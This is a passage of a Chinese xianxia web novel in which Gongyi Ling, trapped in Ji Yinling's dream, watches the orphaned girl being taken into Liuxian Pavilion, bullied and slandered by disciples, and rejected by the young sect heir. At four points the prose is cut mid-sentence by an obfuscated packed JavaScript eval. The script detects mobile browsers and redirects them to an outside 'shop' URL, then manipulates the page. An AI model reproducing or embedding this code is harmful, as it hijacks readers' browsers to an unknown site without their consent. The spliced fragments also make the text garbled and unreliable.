既然是梦境,那梦境里的时间就做不得数,公仪岭也就安安心心在此地待着,打算等那梦境主人梦完,再想办法出去。 公仪岭本以为要这么跟着这小女孩一直乞讨为生,直到她长大为止。谁知第十一日晚上,他蹲在路边看着她啃完萝卜以后打算跟她回去,刚进小路没两步,就冒出来一个陌生男子,手上动作极快,用一块布掩住了女孩的口鼻,麻袋套头给人带走了。 那小女孩一开始还挣扎了两下,没过几秒,麻袋里就没了动静。 公仪岭脑子一蒙,瞬间意识到这男子是用蒙汗药把她弄昏了以后拐走,几乎勃然大怒,追着叫骂道:“什么狗屁人贩子,当着我的面你还敢拐小孩?!”说着直接飞起一脚,想把人踹飞出去。 结果可想而知,公仪岭整个人直接从那人贩子身上穿过去了,不仅没踢到他分毫,反倒还把自己摔了一跤。 他眼睁睁看着人贩子反手背起麻袋就跑,恨恨咬牙,追了上去。 跟了一阵子后,公仪岭也算看明白了,这群人贩子不是初犯,做事情可谓非常有预谋。公仪岭追着他一路跑到了山林之中,等那人抵达了与下家接头的地点,天已经完全黑了。 山林中一阵阴风刮过,公仪岭立刻察觉不对,在四周查看一番后,发觉此地阴气甚重,定然是有妖邪作祟,于是屏息凝神,静静在一边等待起来。 他在心里打了一个极巧妙的算盘,只要在地上用几道符把这个妖邪引出来,随后趁乱让小女孩逃出去,没准就能救出她来。 虽然他现在贴的符其他人都看不见,但不试试也不知道有没有用,于是按计划施法,把符咒安好,静静等着妖邪出来制造混乱。 …… 三炷香的时间过去了,并没有妖邪出来。 公仪岭无奈收了符箓,心说:“果然是梦境,压根就不能改变已经发生的事情!” 他只好收了收心,找了块干净的地坐下,打算先等着看后面如何发展。 如此等了约莫有一个时辰,妖孽也终于出来了,地上一个人贩子一个小女孩对它们来说正是可口的食物,立马朝着两人围了过去。 人贩子惊声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683301|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖叫,吓得屁滚尿流,丢下女孩想要逃之夭夭,却被面前的妖怪张口就吞了下去,公仪岭在旁边看着,还能听到妖怪咀嚼的声音。 “啧,自作孽不可活。” 他默默评价了一句,脑子里还在想办法,看能不能救上一救,余光中白光一闪,那妖孽顷刻间就被断成两截,滚出老远。 只瞥了一眼那位出手救人的侠士,公仪岭便直接站了起来。 来人身穿白袍,手执一把乌木古琴,神情肃穆,浑身上下都透露着威严之色。虽然看不清他们身上衣服的纹样,但这人的长相公仪岭却记得清清楚楚! 小女孩蒙药的效果尚未完全过,人还懵懂着没搞清楚发生什么事情,就看见面前多了一个仙气飘飘的白衣人,战战兢兢问道:“你……你是谁?” 那白衣仙人道:“我是山上的仙人,来这里除妖。小姑娘,你的爹娘和家人呢?” 听他说到这个,小女孩慢慢低下了头,片刻之后,说话声音里已经带上了哭腔:“我……我爹娘都没了……我没有别的亲人了……” 白衣仙人微微皱眉,面上露出为难之色,像是没遇到过这样的场景,顿了顿后,又问道:“你还这么小,每天吃什么呢?” 小女孩抽泣道:“我……我上街去讨萝卜吃。” 白衣仙人没再说话,心中已经明白了她以何为生。 他正想着如何开口,身后弟子便上前一步道:“宗主,这妖邪之物不知其他地方还有没有,该尽快前去城中查看才是。” 见这白衣仙人面上犹豫,公仪岭忍不住在旁边道:“纪怀风你也真是的!还有什么可犹豫的!这么大点小孩你把她丢在这里让她等死吗?” 小女孩听到了那弟子的话,以为他们要丢下自己一走了之,目露惊惶,直接纵身一扑,抓着纪怀风的衣摆就不放手了:“不、不要把我一个人留在这里……我害怕!” 弟子微微皱眉,马上接了一句:“宗主,把她带回去的话,多有不妥,小孩虽然可怜,但毕竟是个凡人……我看,还是把她留在这里吧。” 另外几个弟子也附和道:“是啊师父,把她带回去也没什么用,她又没有仙资,我们还得给她准备米粮免得她饿死。” 只有几个小弟子小心翼翼地替她说了几句话:“可是……这孩子还这么小,总不能眼睁睁看着她死……” 前面的弟子反驳道:“那你说,带她回去后,难不成你来给她安排活干,给她准备吃食吗?” “好了!” 纪怀风呵斥了他们一声,恨铁不成钢道:“你们一帮人,修仙修着修着,竟连最基本的怜悯之心都修没了!我看你们回去以后,一个个都得去戒律阁跪一跪,才能知道!” 那几个弟子被他说得大气都不敢出,原先还在抱怨的几人马上闭嘴了。 小女孩见白衣仙人似乎愿意收留自己,嗫嚅着给自己辩解道:“我……我吃的很少的,不会麻烦的!” 纪怀风温声安慰了她几句,转头对弟子们冷声道:“凡人如何,仙人又如何?你们难道忘了自己的许多同门也是从凡人慢慢修炼起来的吗?我看这女孩十指修长纤细,正是练琴的好苗子。既然今日有缘相见,收她为徒又有何不可?难道你们还有什么意见不成?” 弟子们低头道:“弟子不敢。” 他都发话了,这件事情自然也就被定了下来。公仪岭松了口气,暗道:看来,纪怀风养的儿子虽然不怎么样,但他本人倒还不错。 97.月落琴声断 云深鹤梦长(一) 女孩被带回了六弦阁,公仪岭也跟随着她来到了六弦阁。 六弦阁公仪岭只偶尔去过一次两次,虽然印象并不深刻,但其大致的样子还是记得的。 然而在梦境中的六弦阁,却与自己脑子里的有些出入。 六弦阁依湖而建,四周仙山环绕,像是处在一副极美的山水画卷之中。而公仪岭在现实中第一次抵达六弦阁的时候,最让他印象深刻的就是那湖中心被他们安了一座湖心亭,亭正中央放了一把温润玉质制成的七弦古琴,只要有人对古琴施个法诀,它就能奏起悠悠琴音,风雅之极。 而现在,那湖中央空空如也,哪里看得见什么亭子。 公仪岭坐在湖岸边,喃喃道:“看样子,这梦境里的时间,还挺久远的呢。” 突然,耳边居然传来了一个熟悉的男子声音,对他哼笑一声:“是啊,的确久远,算起来,这里应该是十三年前了。” 十几日来,公仪岭不是在心里腹诽就是自言自语,猛然间听到一个回应自己的声音,还愣了一下。等脑子转过弯后,公仪岭这才偏头过去看这熟悉的声音是谁发出来的。 这一转头,他就见自己旁边不知道什么时候,悄无声息坐了一个嘴里叼着芦苇杆的男子,紫衣窄袖,手上还拿了一把黑色扇子挡太阳。 公仪岭诧异道:“燕煦泽?你怎么会在这里?” 燕煦泽将嘴里的芦苇取下,扭头看他,笑道:“来这儿捞你啊。” 公仪岭顿时明白了过来。 他又惊又喜:“你是说,你们知道我进了这个梦境,才特意想办法进来的?!” 天知道他这十几日来一个人自言自语有多无聊!再加上什么事情都插手不了,多少让公仪岭觉得有劲没处使,真是太叫人憋屈了。 燕煦泽道:“正是。” “那怎么是你进来了,燕蓉没跟你一起进来?” 燕煦泽微微挑眉,道:“公仪,你当追忆术那么好使呢?我们全宗门上下,能习得此术的也不过几人。上次历练的时候,师妹能成功用这个术法已经十分不易,这一次为了保险起见,当然是让我进来了。” 公仪岭道:“你进的……是我的回忆?” 燕煦泽点头:“我们在外面推断,你们应该是被火凤的爪子伤到了,这才被迷雾林致幻,导致陷入了梦境,只要我用追忆术进入你的记忆,就能进到你所在的地方了。” 公仪岭奇道:“那你怎么没进纪银灵的回忆?” 燕煦泽看着他的眼睛,意味深长道:“公仪岭,你当这梦境,究竟是谁的梦境?” “啊——啊?!” 公仪岭“啊”了两声,震惊道:“难道说,这是……纪银灵的梦境?” 燕煦泽道:“不然你以为,你每天看着的那个小女孩是谁?” 公仪岭恍然大悟,脱口道:“我说我怎么是在六弦阁呢!原来如此!” 燕煦泽不由失笑。 “那,这梦境显现出来的,也就是纪银灵自己的记忆了。从前我竟不知,她父母早亡,是这样子机缘巧合进的六弦阁。” 燕煦泽道:“你都不知道她以前如何,我们就更加不知道了,纪银灵向来独来独往,我看她也从未与人说过这些。” “那我们该如何出去?” 燕煦泽沉思道:“虽然不知道为什么迷雾林里建的是她的梦境,但如果想要带你出去的话,肯定得跟着她的轨迹走了。” 公仪岭了然:“我明白了,事不宜迟,我们先进里面去找她吧。” * 两人刚进了六弦阁的大门,就听见堂前几个正扫着地的弟子交头接耳道。 “听说了吗,昨夜宗主带回来一个五六岁的小女孩,说要收她当弟子呢!” “我看不见得吧,多半是看她可怜,将她带上来混口饭吃!” “你这样说也有几分道理,现在我们宗门收凡人做弟子都少了,宗主何必如此做?” “什么收她当弟子!你们没听说吗?她今天都被派给少宗主去当书童了!” 公仪岭闻言,忿忿不平道:“纪怀风昨天还说与她有缘,要收她做弟子,怎么今日就变了卦,叫纪姑娘去给纪景明当书童了?” 他下意识刚说完,又猛然间想起来,纪景明人都已经没了,现在与他计较这些,似乎为时已晚。 虽然纪景明这个人并不太讨喜,但毕竟和他算是同辈,又第一次与自己合作。如今就这样死在了自己面前,难免叫他心中五味杂陈。 何况,仔细想来,虽然纪景明行事莽撞才会被火凤抓住,可追根究底,他也必须得承认一句,是自己的实力还不够强大,考虑的也没有那么全面,才会让纪景明意外身亡,多少心中有些遗憾。 于是公仪岭抿唇不语,一时间也不知该作何反应了。 燕煦泽侧目看着他,镇定道:“先看看,也许是事出有因。” 纪景明的院子在东边,公仪岭找起来十分轻松。径直传过前庭与长廊,循着朗朗书声,就到了纪景明的书房中。 公仪岭没有兴趣参观他的书房,而是绕过房中的大小屏风,直接去了纪景明书桌旁。 彼时纪景明还是一个六七岁的孩童,身为少宗主每日都得读有关的书籍,宗主也会叫他处理一些宗门琐事,以此来慢慢锻炼培养他。 纪景明低着头,看桌上的书看得十分认真,旁边矮凳上则是站着小纪银灵,正在费力地帮他磨墨。公仪岭有点意外,也顺便瞧了一眼,认出来这是公仪岚也曾看过的一本书,自己还一字一句的罚抄过来着。 他本以为会见到什么:少宗主是个纨绔子弟不愿学习,于是叫书童帮忙抄书或者学习,类似的场景。结果他与燕煦泽看了半天,丝毫没瞧出来这少宗主有半点不认真的态度。 他们在旁边看了多久,纪景明就老老实实在书桌坐了多久。 公仪岭叹道:“原来最不认真的竟然是我自己。” 燕煦泽侧目而视:“我以为公仪你是仙家反面教材这件事,已经是板上钉钉、无人争议的了,结果你居然自己没意识到?” 公仪岭不服:“那你们家少宗主燕渊呢?” 燕煦泽笑道:“少宗主虽然是愚钝了一些,但师父每次让他学什么的时候,他都是很积极的,至于有没有成效,那就另说了。” “……好吧。” 两人说话间,纪银灵手里已经放下了墨条,小心翼翼地对纪景明说:“少宗主,墨磨好了。” 纪景明瞥了砚台一眼,点了点头:“我既然把你从爹地方要了过来,你就好好呆在书房里当我的伴读,不要心生什么妄念,想当我爹的弟子了。” 纪银灵怯怯地看着他,没敢说话。 纪景明又道:“反正你也只是来这里讨口饭吃,总归饿不到你就好了。” 她露出笑脸,很用力地点了点头。 公仪岭见她看起来不像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪银灵忙不迭点头,只不过那膳盒实在沉重,一下子没拿好就沉在地上,她只能将其一整个抱在怀里,踉踉跄跄离去。 谁知,刚经过一道长廊,纪银灵就被一颗突然滚来的石子绊倒,手中膳盒没拿稳,直接就摔飞出去,盘子里的汤汤水水撒了一地。 公仪岭眉目一沉。 他分明看见这石子是旁边院子里那弟子故意丢来的,再仔细一看,分明就是昨夜出声,不愿宗主收留纪银灵的那位弟子。 他怒视道:“什么人啊!昨天不让纪银灵进门也就算了,今天还刻意刁难!要不是我现在摸不着人,定要上去教训教训这小子!” 燕煦泽面露诧异:“你没认出来这是谁?” 公仪岭原本就不怎么认得没见过几面的人,现在到了梦境里面,记忆同梦境一样也稍微朦胧了一些。 他不解道:“这是又哪位?” 燕煦泽深深地看了一眼不远处的那人:“此人名叫纪丞,正是随我们一起前往玄霄殿的那三名六弦阁弟子之一。他同你们俩一样,被火凤利爪所伤,现在也昏迷了。” 公仪岭努力想了想,终于从记忆的角落里寻到了这人,道:“我想起来了,果真是他。难不成,这人也跟我一样,昏厥以后被困在了梦境之中?” 燕煦泽道:“我也觉得像。不过,就算他进到梦境,你我也是看不见他的。” 98.月落琴声断 云深鹤梦长(二) 燕煦泽刚说完,那个叫纪丞的弟子便率先对纪银灵开了口。 他扬起笑,对她说道:“这不是我们六弦阁刚来的小师妹嘛,师兄我刚刚手一滑,打翻了你的膳盒,你可千万别怪我。” 纪银灵年纪虽小,心思却灵敏,很快就猜到了这位师兄并不喜欢自己。 但是她初来乍到,又怎么能因为一盘饭菜与人产生冲突?心里虽然难过,但还是对纪丞道:“没关系……我收拾一下,还可以吃的。” 纪丞云淡风轻道:“那师妹你顺便把这块地擦干净了啊,洒得到处都是,叫师父看见了,小心他不高兴了,把你赶出去。” 纪银灵不知他是吓唬自己,当场就信了,结结巴巴道:“师、师兄,你不要告诉师父,我马上就打扫。” “那师妹你可得好好清理,千万别留下什么脏东西了。” 纪丞目的达到,给她丢下了一块抹布,悠然离去了。 纪银灵咬着唇,在地板上犹豫了许久,最后还是抵不过饥饿,抓起地上的饭塞进了嘴里。 而书房里,纪景明左等右等没等到她来,只能皱着眉出去寻找。刚拐了个弯,走了没多久,就看见了正拿着抹布擦地板的纪银灵。 纪景明低头看了看旁边散落的盒子,不悦道:“你把膳盒打翻了?你怎么这么蠢,好好地拿过来都不会?” 纪银灵摇头道:“师兄他不小心把石头打偏了,我才摔倒的,他说,我把地擦干净的话,他就不会告诉师父这件事情。” 纪景明很快明白了。 当夜,公仪岭和燕煦泽就抱着胸围观了一场私自斗殴。 公仪岭道:“纪景明小时候人还挺不错的嘛,还知道护着自己的书童。” 燕煦泽叹息道:“公仪,你真是没吃过苦头。恐怕也只有你会这样觉得,而其他弟子可不这么认为。纪银灵虽是无意之举,却切切实实向他们少宗主告了一状,你想想,她以后的日子,该怎么过?” 公仪岭怔住了。 果不其然,第二天一早,全宗门弟子都知道了这件事。传着传着,就变成了“师兄不慎打翻她的食盒,她一怒之下跟少宗主告状,结果少宗主为了她跟师兄打起来了”这回事。 一时之间,大家都知道了新来的这个小师妹背后有人撑腰,是个不折不扣的狗腿子。 事情闹得太大,传到了纪怀风的耳朵里。次日午后,纪景明和纪丞两个人,都被叫去戒律堂罚跪去了。 此后,纪银灵的日子便更不好过起来,不仅师兄们常常不给她饭吃,还经常被人叫去打扫全宗门上下,谁见到她都得欺负一下。 有的时候实在太惨了,一些弟子看不过去,也会感慨,她惹谁不好,偏偏惹到了纪丞。 纪丞虽然不是纪怀风的直系血亲,但却是旁系血亲之一。就算他闹得再狠,宗主也不可能将他给赶出去,顶多也就是训诫一下而已。 如果因为她导致不得安宁的话,那纪怀风肯定会先把她赶走。 过了几个月,纪银灵就明白了这个道理。 可她绝不能让自己被赶走,她无处为家,无以为生,只能暂且在这边苟活下来。 所以,一些普通的欺辱,她能忍就忍了。 好在纪景明依照着之前的承诺,有时候会帮她说两句话,或者给她带点吃的回来,她才能勉强度日。 等她七岁的时候,纪景明实在看不下去,还是心软去和纪怀风请求,让他爹收了纪银灵当弟子。 纪景明觉得,让她自己学点本事,总能自己保护自己了吧?而且,当了正式弟子以后,至少不需要再做打杂的活了。 虽然在六弦阁呆了两年以后,纪银灵越来越沉默不爱说话了,但她还是非常听少宗主的话的,纪景明叫她当书童,她就当了,纪景明叫她当弟子,她也当了。 而事实也证明,她纪银灵不管当什么,都能做到最好。 纪银灵自知自己是个凡人,天赋不及他们,于是更加勤学苦练。如果寻常弟子一日修习四个时辰,那她就一日修习七八个时辰,直到琴弦上面都沾满了她指尖的鲜血,她才停下回房休息片刻,给自己处理伤口。 燕煦泽十分欣赏地看着她每日寝房与琴室两点一线,像是想起了什么往事一样感慨万千:“此女子性子坚毅,又肯下苦工,真是有我当年拜师学艺时候的模样。” 公仪岭也道:“她这么刻苦,难怪次次乐考能考第一。不过我觉得,纪怀风把她带回来时候说她有天赋,我看他所言不虚,不然的话,哪能进步这么快?” 燕煦泽笑道:“六弦阁那边修习方法与我们其他宗门不同,也许,纪姑娘的确最适合此处呢。” “也是。” 他们两人站在纪银灵旁边,看着她一天天上课。虽然平时当面议论的弟子少了,但明里暗里把她当丫鬟使唤她的却还是很多。 有像磨个墨、带张纸、递个笔这样的小事,也有打扫房间、清理水池、修个桌子腿这样的麻烦事。 在公仪岭看着那个纪丞第九十八次叫她去扫院里的落叶的时候,他终于也忍不了了:“这都多少次了,这人是自己没手还是没脚?燕兄你说说,这不是刻意为难人是什么?” 燕煦泽无奈道:“现在我们也没办法帮她,也只能忍一忍了。” 公仪岭忍不了,对着纪丞就往空气里踹了一脚。 他是忍不了,但纪银灵忍得了。不光忍了,还直接在一场门内考试里直接拿下了第一,狠狠打了那些弟子说她“没有仙资”的脸。 一曲奏毕,胜负揭晓。 全场只有纪景明稍微鼓掌了一下,其余人鸦雀无声,完全不敢相信发生了什么。 “就她?她也能拿第一?” “看到没,就少宗主一个人给她鼓了掌,她不是抱了少宗主的大腿是什么?” 看着平日里瞧不起的人如此风光,纪丞不痛快极了,当场冷声道:“一帮内门外门弟子加起来还不如她弹得好,平常修习都在修习什么?” 他声音不小, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707166|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚好够传到在座每个人的耳中。 这样刺耳的话落入纪景明耳中,让他也有些不悦:“纪丞,你技不如人承认了就是,还有什么可说的?” 纪丞笑道:“我是技不如人,但少宗主你也是技不如人。比试完了发现还没自己书童厉害,就连师父也更欣赏她,不是吗?” 纪景明面色青一阵白一阵,攥紧了拳头,没有说话。 纪怀风对小孩子间的斗嘴不以为意,淡声道:“景明,你要好好努力啊。” 门内比试告一段落,次日正常听学修习。 午后,纪怀风在琴室等了半天也不见他们来,对纪银灵道:“银灵,你去叫一叫他们。” 纪银灵应了声,过去了那些弟子的房中。 她站在房门外,刚想要敲门,就听到里面热闹非凡,正在议论着什么。 “纪丞师兄,你说得当真吗?” “那自然当真了,这么多年以来,谁不知道少宗主把纪银灵当个宝?原本师父在她五岁的时候就要收她当弟子了,是我们少宗主主动要求,把她讨来当书童的。” “有道理啊!” “再说了,这些年,少宗主替她出头的时候还少吗?都忘了那会儿大半夜特意来找我打架了?要说他们俩没点那种关系,谁信?” 另一弟子说:“也就是说,她能考这么好,多半也是……” 其他弟子说:“谁说不是呢?你们听我说,我上次大晚上出房门的时候,可看见她那么晚的时辰了还在少宗主房间里呢……” “此话当真?” “那还能有假?” 公仪岭在门口听完那帮弟子的议论,饶是反应再迟钝也意识到了什么,当即大怒:“这群人在胡说些什么?!这种事情,也是能张口就来的吗!!!” 燕煦泽凝眉:“这群弟子分明比不过她,却凭一张嘴造谣抹黑,这还真是……可恨至极。” 公仪岭斥道:“我们俩天天守着,都看见那天晚上分明是纪景明自己功课没做完,才叫弟子把她叫起来过去磨墨的,怎么到他们口中,就变成了那样的事情了!” “……在这边修习,也真是难为她了。” 公仪岭咬牙:“我以为,再怎么样,他们不会用这样下三滥的手段。她就这么平白无故被人污蔑清白……一群男的欺负她一个姑娘家,算什么英雄好汉!” 事到如今,公仪岭也总算是明白了,为什么纪银铃一个天真活泼的小女孩,会变成如今这般沉默寡言、生人勿近的模样,甚至在抱元门的时候,他们六弦阁的弟子也都离他远远的了。 原来竟然是这样。 这样的事情,简直就是有口难辩,就算她费力去解释,怕也没有人会听她的话。 公仪岭侧过头去看纪银灵。 这一刻,他很希望自己的耳朵没有那么好使,也很希望纪银灵的也别听到那些流言蜚语。 可惜,纪银灵一个音修之人,最灵敏的就是耳朵了,又怎么听不到呢。 99.月落琴声断 云深鹤梦长(三) 纪银灵打算敲门的手垂了下去。 多年积压着的委屈、气愤、悲伤,这所有情绪,在这一刻,如潮水一般汹涌而来。 公仪岭小心地去看她的面色,不看不要紧,这一看,他陡然愣住了。 纪银灵在哭。 泪水顺着她的脸庞,从她的下巴滴滴坠落。她摊开掌心,垂眸看着那些眼泪在自己的掌心溅起涟漪。 就连她自己也不明白,这么多年过去了,所有她能够忍让的事情都忍让了,他们让自己做的所有事她都做了,她别无所求,只想在六弦阁好好生活,可为什么自己的同门却不愿意放过自己。 她以为自己可以忍受这些,忍受被孤立,忍受被所有人奚落,忍受被他们使唤差遣,直到他们满意了、厌倦了,一切就都结束了。 但是不能。 所有的让步,换来的却是变本加厉、肆无忌惮。 公仪岭在现实里认识她以后,从没见她这样,不由忧心忡忡起来。 “燕兄,我看纪姑娘她……状态不对啊。” 燕煦泽道:“这些年,真是辛苦她了。” 公仪岭道:“再怎么说,她也是我的朋友,她这样被人欺辱,我实在难以接受!燕兄,难道在这个梦境里面,当真没有办法教训一下这些嚼舌根的人吗?” “没有。” 公仪岭有些失望,低声道:“在我们云灵山,每个弟子人都很好的,我从来没听说过有这样子的事情……” 燕煦泽淡笑道:“自公仪你出生起,便是宗主次子、云灵山中最受宠的人,又有谁敢这样对你?你不知道也是正常,不必挂怀。” 公仪岭哑然,沉默不语。 燕煦泽却在这时又从容道:“不过,我想我大概知道,为什么我们会进入纪银灵的梦境了。” “为何?” 燕煦泽道:“你们陷入幻境,是因为火凤伤了你们,但在你们三人之间,我想执念最深的,应该就是纪银灵了。” “火凤最后,是被她制服的,如此一来,这个梦境以她的回忆建立起来,也就说得通了。” 公仪岭仔细一琢磨,觉得燕煦泽说得有道理。 “那……她把纪丞带进来还能理解,怎么把我也带进来了……” 这个燕煦泽便有些不确定了:“反正你是她朋友,顺手的事吧?” “……” 纪银灵抹去了脸上的眼泪,在门口站了一会儿,神色如常地抬手敲响了门。 里面的声音凝滞了片刻。 过了一会儿,纪丞出声问道:“谁?” 纪银灵平静道:“是我,师兄。时候不早了,师父让我来叫你们过去听学。” 纪丞没有出来开门,只道:“知道了,师妹,你先过去,我们随后就来。” 纪银灵没再出声,凝视着面前紧闭的门,转身打算离开。 这时里面传来弟子们的声音:“哎哟,说了这么久,都忘了到了听学的点了,师父不会责怪我们吧。” “怕什么,这么多人呢!我倒是更担心,纪银灵她听到了没有。” “你还担心这个?她自己都干得出那种事情了,难不成还在乎自己的脸面,便是当着她的面说,又能怎么样?” “可是……” “可是什么呀可是,老替她开脱什么,要是这样的话,以后我们聊这些就不带你了!” “好吧……我不说了。” 这些话清清楚楚落入门外三人的耳中,而纪银灵下台阶的脚步只微微停顿了片刻,随即边头也不回地离开了。 公仪岭看着她离去的背影,担忧道:“燕兄,你说她不会想不开,做出什么伤害自己的事情来吧?” 燕煦泽摇头道:“我看她不是那样的性子,仙考这么多回,咱们也没看出来她被影响到了状态,反倒一次比一次优异,我猜到了后面,她也就想开了吧。” “希望如此吧……” 此后几日,就如燕煦泽所言,纪银灵一切如常,与之前唯一的区别就是,她再也没理其他人叫她打杂的事情了,一颗心全然放在了修炼这件事情上。 原先支使她的那些弟子就不满了,试图与她理论两句,却被全然无视。 在她当众断然拒绝了纪丞命令她扫落叶以后,纪丞失了颜面,怒极呵斥她道:“死贱人,当婊子还想立牌坊?谁不知道你对少宗主有那种龌龊心思,你好好顺着我们,我们也就不提这事情了,你别给脸不要脸!” 纪银灵面若寒霜,一字一句道:“我没有。” “你说没有就没有?谁不知道你仗着有几分姿色就天天在少宗主跟前晃悠,要不是有人护着,你能走到今天?” 纪银灵冷冷道:“我跟少宗主清清白白,什么事情都没有!” 纪丞嗤笑道:“拉倒吧,少宗主知道了这件事,可是亲口跟我说的,说叫你离他越远越好!” 她愣住了,几乎难以置信:“……怎么可能?!” “你不信,你自己去问他呀?我还故意骗你不成?要不是我们去问,还真不知道,原来他早就讨厌你很久了!” 纪银灵无心听他说了什么,直接撇下一干人跑了。 听到纪丞的这番话,这下公仪岭也搞不明白了,一边追着纪银灵,一边匆匆问道:“不是,这纪景明之前不是对她还行吗?怎么突然就这样了?” 燕煦泽慢悠悠道:“哪里是突然变这样的,我看那纪景明早就开始忌惮她了,加上纪景明后面听说了自己跟她之间不好的那些传闻,可不就对她疏远了吗?” 公仪岭停下脚步:“你的意思是,纪景明觉得自己没她厉害,所以担心她会威胁到自己的位置?” 燕煦泽道:“他们六弦阁历任宗主几乎都是看个人实力,纪景明自己实力不济,加上纪怀风又那么看好纪银灵,每次都叫他多多学习,他心中有怨言,也是在所难免。” 纪银灵跑得飞快,两人一交流完,再抬眼去寻人,早就已经不见了。 好在他们都清楚她去了哪里,没有犹豫就朝着纪景明的房间去了。 两人刚到,就突然听见“砰”一声,一个茶杯朝门口飞来,直接撞碎在了门框上。 里面传来了纪景明的声音:“是!我之前是发善心帮过你,但我现在讨厌你了又怎么样呢?!难道我还没有讨厌一个人的权力了吗!” “为什么……” “为什么?哪有那么多为什么?我好心帮你,结果换来的是什么,是听见外面传来的风言风语,是眼见着你一个少宗主书童被父亲重用,而我这个少宗主,还得被勒令向你学习!” 纪银灵抿唇不语。 纪景明却像是这么久以来积压的怨气,今天终于全都能说出来了一样,根本说不够:“是,我承认我是比不上你!谁能想到你区区一个凡人能修炼到今天的地步!” “我也有努力学啊,我学那些少宗主应该学的东西,我什么时候有半点不情愿?但是我爹他根本不在意这些!他只看结果!结果是什么?那就是我不如你,我一个堂堂六弦阁的少宗主,竟然还不如自己的书童厉害!” 纪银灵勉强出声:“我从来没有这么想……” “你没有这么想,是我这么想总行了吧?怪就怪我心胸不够宽阔,容不下你这么个人!反正我自认为也不欠你什么,能帮的我都帮了,以后,你还是少来我这边吧。” 她沉默下来,垂头站了很久,才缓缓道:“我明白了,但是以前的事,还是要谢谢你。” 纪景明发泄完,突然卸了力,扶着额头重新坐下,长叹了一声:“你不用谢我,不管是帮你出头,还是帮你成为我爹的弟子,这些事情,我从没有后悔过,即使是再来一次,我也还是会那么做的。” 纪银灵静静站着听他说完,最后十分恭敬地对他行了个礼。 许多年过去。 某日晚上,修习结束以后,纪怀风将她召了过来,问她道:“银灵,你今年多大了?” 纪银灵颔首答道:“十六了。” 纪怀风低头想了想,才道:“从你成为我弟子开始算起,已经有九年了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720046|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是的,师父。” “既然如此,那今年的仙考大会,你就随我们一起去吧。” 纪银灵一怔,小心翼翼问道:“师父,我可以跟你们一起去吗?” 按照规定,修行满五年就能前去参加仙考大会,而纪银灵已经在六弦阁修习了九年了,却也没安排她去过一次,她本以为,是师父不想让她去,才一直忽略了此事。 纪怀风点头,与她解释道:“先前不让你去,是因为你凡人出身须得多修习几年,稳固了根基才行,现在,我看也差不多了。” “是,师父。” * 数月之后,仙考大会。 公仪岭听着台上响彻的琴音和熟悉的曲调,终于想起来了是哪一年的仙考大会。 正是他与纪银灵第一次认识的那一年。 他没记错的话,也正是这一年,纪银灵刚在各大家面前露面,就夺得了乐考一项的魁首。 那时候他只是觉得这个新人颇为厉害,这才萌生了想要结交的想法,结果在考试期间几次偶遇,纪银灵对他主动打招呼表现得十分冷淡。 而现在,他也明白了这究竟是为什么,心中油然产生她这一路走来很不容易的想法。 乐考成绩出来以后,公仪岭还没替她高兴多久,当晚就又被气得不行。 纪银灵站在院中,看着那些吵吵嚷嚷的同窗。 “滚啊,我们要练琴,你来做什么?” “就是啊,不好好在房间里呆着,非要过来占我们地方!” “你纪银灵多厉害啊?一来就抢了纪丞的榜首之位,你还需要练琴?给我们这些垫底的一点机会吧!” 她静静地站了一会儿,带着琴转身离去。 燕煦泽看着她的背影,道:“这都已经快亥时了,她带着琴能去哪?” 公仪岭道:“虽然在抱元门里也出不了什么事情,但不管怎么说,我们还是先跟去看看吧。” 亥时,抱元门外面基本上都已经灭了灯,只留下道路两旁零星几盏用作照明。 公仪岭越走越觉得这个方向很是熟悉,直到看到了那条熟悉的小溪,才停下了脚步,喃喃说道:“不会吧?” 燕煦泽疑惑道:“怎么了?” 公仪岭道:“这地方我经常来的。” “大晚上的你来这里干嘛?” 公仪岭道:“夜钓啊。” 燕煦泽透过灌木,朝小溪远处看,果然看见了点点火光。 他又问:“生火不怕把鱼都吓跑了吗?” 公仪岭从容道:“这个点我一般都已经钓完了,已经开始烤鱼吃了。” 燕煦泽了然:“也就是说,你们俩是在这地方见到的。” 公仪岭点头,顺着她的方向继续走,果然在对岸看见了自己的身影。 他听到对岸的公仪岭说道:“你怎么来这儿了?” 